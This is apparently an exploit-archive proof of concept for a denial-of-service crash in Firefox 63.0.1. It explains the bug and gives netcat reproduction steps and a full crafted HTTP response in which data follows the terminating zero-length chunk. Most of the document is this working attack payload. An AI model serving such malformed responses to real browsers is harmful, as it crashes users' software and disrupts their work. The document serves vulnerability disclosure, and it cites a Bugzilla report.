94 lines
No EOL
1.6 KiB
Text
94 lines
No EOL
1.6 KiB
Text
# Exploit Title: Mozilla Firefox 63.0.1 - Denial of Service (PoC)
|
|
# Date: 2018-11-29
|
|
# Exploit Author: SAIKUMAR CHEBROLU
|
|
# Vendor Homepage: https://www.mozilla.org/en-US/firefox/new/
|
|
# Bugzilla report: https://bugzilla.mozilla.org/show_bug.cgi?id=1504512
|
|
# Version: Firefox 63.0.1
|
|
# Tested on: Windows 10
|
|
# CVE : No CVE is been assigned to this bug.
|
|
|
|
# To exploit this vulnerability please follow the below steps.
|
|
# Firefox is being crashed, when it tried to process the chunked data. when Transfer-Encoding header
|
|
# is used, we suppose to send the data in the chunks form. When all the chunks being transferred,
|
|
# we need to tell the client with chunk length zero. so that it understands chunked stream completed.
|
|
|
|
# But if we send the data after sending zero length, then firefox not able to understand it,
|
|
# and it being crashed.
|
|
|
|
# Example:
|
|
|
|
5
|
|
|
|
Don't
|
|
|
|
5
|
|
|
|
be af
|
|
|
|
5
|
|
|
|
firef
|
|
|
|
5
|
|
|
|
ox is
|
|
|
|
0
|
|
|
|
Crash (after saying it is end, we still sending some data)
|
|
|
|
\r\n
|
|
|
|
# here we are saying no chunked data after this.so that it should end with \r\n. But we
|
|
# are sending some data after this also. Like
|
|
|
|
# Steps to reproduce the crash
|
|
|
|
1)download the firefoxcrash.txt
|
|
|
|
2)nc -lp 8000 < firefoxcrash.txt
|
|
|
|
3)browe the url from firefox like http://localhost:8000
|
|
|
|
4)then close the netcat client. then you will obserev the firefox crash.
|
|
|
|
# fireforcrash.txt
|
|
|
|
HTTP/1.1 200 ok
|
|
Content-type: application/octet-stream
|
|
Content-disposition: attachment; filename="crash.txt"
|
|
Transfer-Encoding: chunked
|
|
Connection: close
|
|
|
|
5
|
|
I am
|
|
5
|
|
be a
|
|
5
|
|
fraid
|
|
5
|
|
to l
|
|
5
|
|
ook a
|
|
5
|
|
t thi
|
|
5
|
|
s mes
|
|
5
|
|
sage.
|
|
5
|
|
It i
|
|
5
|
|
s com
|
|
5
|
|
plete
|
|
5
|
|
ly ha
|
|
5
|
|
rmles
|
|
5
|
|
s. Re
|
|
5
|
|
ally!
|
|
0
|
|
foobar |